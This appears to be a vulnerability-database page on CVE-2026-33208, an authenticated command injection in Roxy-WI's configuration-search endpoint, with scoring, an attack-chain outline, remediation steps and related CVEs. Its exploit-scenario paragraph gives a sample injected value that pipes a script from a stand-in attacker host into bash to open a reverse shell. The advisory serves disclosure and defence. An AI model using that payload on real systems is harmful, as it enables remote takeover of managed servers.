Skip to main content

Roxy-WI EUVDEUVD-2026-25378

| CVE-2026-33208 HIGH
OS Command Injection (CWE-78)
2026-04-24 GitHub_M
7.4
CVSS 4.0 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain Roxy-WI credentials
  2. Delivery
    Authenticate to web interface
  3. Exploit
    Craft malicious /config/<service>/find-in-config request
  4. Install
    Inject shell metacharacters in words parameter
  5. C2
    Trigger SSH command execution on managed server
  6. Execute
    Execute arbitrary commands with sudo privileges
  7. Impact
    Establish persistence or pivot

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must possess valid authenticated credentials to the Roxy-WI web interface (PR:L in CVSS vector indicates low-privileged user access is sufficient, not requiring administrative Roxy-WI permissions). The vulnerable /config/<service>/find-in-config endpoint must be accessible to authenticated users, which is the default configuration for normal operational use of the search feature. The Roxy-WI instance must have active SSH connectivity configured to at least one managed server (Haproxy, Nginx, Apache, or Keepalived) for the command injection to reach a target system. No user interaction is required (UI:N) and attack complexity is low (AC:L) as the injection point is a straightforward API endpoint without additional protections. Exploitation is NOT limited by network segmentation since managed servers are intentionally SSH-accessible from the Roxy-WI host, nor by special application features since configuration search is core functionality.

Impact

This represents a high-priority vulnerability requiring immediate remediation for Roxy-WI deployments. The CVSS 4.0 vector (AV:N/AC:L/PR:L) indicates network-accessible exploitation with low attack complexity requiring only low-privileged authentication, while the impact metrics (VC:H/VI:H/VA:H) show complete confidentiality, integrity, and availability compromise of the targeted managed server. The existence of a proof-of-concept (E:P in CVSS vector) significantly lowers the barrier to exploitation. However, the real-world risk is somewhat bounded by two factors: attackers need valid Roxy-WI credentials (PR:L) to reach the vulnerable endpoint, and the scope is unchanged (SC:N/SI:N/SA:N) meaning initial compromise is limited to managed servers accessible via the Roxy-WI instance rather than the web application itself. Organizations using Roxy-WI to manage critical infrastructure (load balancers, web servers) face elevated risk as compromise of these systems could enable lateral movement, service disruption, or data exfiltration. The combination of sudo-level execution and management of network-facing services makes this a realistic pathway for infrastructure compromise despite the authentication requirement.

Exploit ScenarioDerived

An attacker with valid low-privilege Roxy-WI credentials accesses the web interface and crafts a malicious HTTP request to /config/nginx/find-in-config with a 'words' parameter containing shell metacharacters like '; whoami; curl attacker.com/shell.sh | bash;'. The vulnerable endpoint fails to sanitize this input and constructs a grep command executed via SSH on a managed Nginx server with sudo privileges. The injected commands break out of the grep context, establishing a reverse shell to the attacker's infrastructure with root-level access to the managed server, enabling data theft, service manipulation, or use as a pivot point for further network compromise.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 24, 2026

Command injection in Roxy-WI versions prior to 8.2.6.4 enables authenticated attackers to execute arbitrary OS commands with sudo privileges on managed servers. The vulnerability stems from unsanitized input in the /config/<service>/find-in-config endpoint that breaks out of grep command context during remote SSH execution. A proof-of-concept exploit exists (CVSS E:P), and the CVSS 4.0 score of 7.4 reflects network-based attack with low complexity requiring only low-privilege authentication. Vendor-released patch 8.2.6.4 available via GitHub commit 02f147d.

RemediationAI

Upgrade immediately to Roxy-WI version 8.2.6.4 or later, which contains input sanitization fixes per GitHub commit 02f147d567a3cc8cf61a4b58ea4c2b7866a544de available at https://github.com/roxy-wi/roxy-wi/commit/02f147d567a3cc8cf61a4b58ea4c2b7866a544de. If immediate patching is not feasible, implement these compensating controls: Restrict network access to the Roxy-WI management interface to trusted administrator IP addresses only via firewall rules or reverse proxy ACLs (trade-off: reduces operational flexibility for remote administration). Audit and minimize Roxy-WI user accounts, removing low-privilege users and enforcing strong authentication (trade-off: may impact team workflows requiring delegated access). Monitor SSH logs on managed servers for unexpected command patterns or privilege escalation attempts originating from Roxy-WI's SSH keys (trade-off: detection-only, does not prevent exploitation). Consider temporarily disabling the configuration search feature if not operationally critical until patching is complete (trade-off: loss of search functionality).

Affected VersionsENISA

roxy-wi < 8.2.6.4

Affected Packages

euvd roxy_wi fix: 8.2.6.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Roxy-WI is a web-based management interface for Haproxy, Nginx, Apache, and Keepalived servers that executes administrative commands on remote managed servers via SSH. The vulnerability affects the configuration search functionality where the 'words' parameter is passed unsanitized into a shell command string containing grep. This constitutes a classic CWE-78 OS Command Injection flaw where shell metacharacters (such as semicolons, pipes, backticks, or command substitution syntax) can terminate the intended grep command and inject arbitrary commands. The commands execute with sudo privileges in the context of the SSH session on the target managed server, not just the Roxy-WI web application host. The CPE identifier cpe:2.3:a:roxy-wi:roxy-wi indicates all versions prior to the patched release are affected.

Know when Roxy Wi gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 7.4 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

4
Patch released
Apr 27, 2026 - 15:16 nvd
Patch available
Patch available
Apr 24, 2026 - 05:01 EUVD
CVSS changed
Apr 24, 2026 - 03:22 NVD
7.4 (HIGH)
CVE Published
Apr 24, 2026 - 02:10 nvd
HIGH 7.4

DescriptionGitHub Advisory

Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Prior to version 8.2.6.4, the /config/ < service > /find-in-config endpoint in Roxy-WI fails to sanitize the user-supplied words parameter before embedding it into a shell command string that is subsequently executed on a remote managed server via SSH. An authenticated attacker can inject arbitrary shell metacharacters to break out of the intended grep command context and execute arbitrary OS commands with sudo privileges on the target server, resulting in full Remote Code Execution (RCE). Version 8.2.6.4 patches the issue.

Executive ViewAI

Why It Matters

Roxy-WI versions before 8.2.6.4 contain a command injection vulnerability allowing authenticated users to execute arbitrary commands with elevated privileges on managed infrastructure servers, potentially compromising operational control and data integrity across all connected systems. This affects organizations using Roxy-WI for server configuration management, particularly those with low-privileged user accounts or shared access models.

Business Impact: High
Compensating Controls

Apply vendor patch 8.2.6.4. If patching is delayed: restrict network access to the /config/<service>/find-in-config endpoint to trusted administrative IP ranges; disable or revoke low-privilege user access to Roxy-WI until patched; implement enhanced logging and monitoring for SSH command execution on managed servers.

Threat Intelligence Overview

EPSS Score
0.4%
Top 39% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

37
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +37
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2022-31137 CRITICAL POC
9.8 Jul 08

Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Rated critical severity (CVSS 9.8

CVE-2022-31161 CRITICAL POC
9.8 Jul 15

Roxy-WI is a Web interface for managing HAProxy, Nginx and Keepalived servers. Rated critical severity (CVSS 9.8), this

CVE-2022-31126 CRITICAL POC
9.8 Jul 06

Roxy-wi is an open source web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Rated critical sever

CVE-2022-31125 CRITICAL POC
9.8 Jul 06

Roxy-wi is an open source web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Rated critical sever

CVE-2024-43804 HIGH POC
8.8 Aug 29

Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Rated high severity (CVSS 8.8), t

CVE-2026-22265 HIGH POC
7.5 Jan 15

Authenticated command injection in Roxy-WI versions prior to 8.2.8.2 enables attackers to execute arbitrary system comma

CVE-2023-25803 HIGH POC
7.5 Mar 13

Roxy-WI is a Web interface for managing Haproxy, Nginx, Apache, and Keepalived servers. Rated high severity (CVSS 7.5),

CVE-2023-25802 HIGH POC
7.5 Mar 13

Roxy-WI is a Web interface for managing Haproxy, Nginx, Apache, and Keepalived servers. Rated high severity (CVSS 7.5),

CVE-2023-29004 MEDIUM POC
6.5 Apr 17

hap-wi/roxy-wi is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Rated medium severity (CVS

CVE-2026-45558 CRITICAL
9.9 Jun 10

Remote code execution in Roxy-WI versions 8.2.6.4 and prior allows authenticated low-privilege users (role ≤ 3) to injec

CVE-2026-45556 CRITICAL
9.9 Jun 10

Remote code execution in Roxy-WI versions 8.2.6.4 and prior allows authenticated users to write attacker-controlled cont

CVE-2026-45552 CRITICAL
9.9 Jun 10

Privilege escalation and cross-tenant compromise in Roxy-WI versions 8.2.6.4 and prior allows any authenticated user - i

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy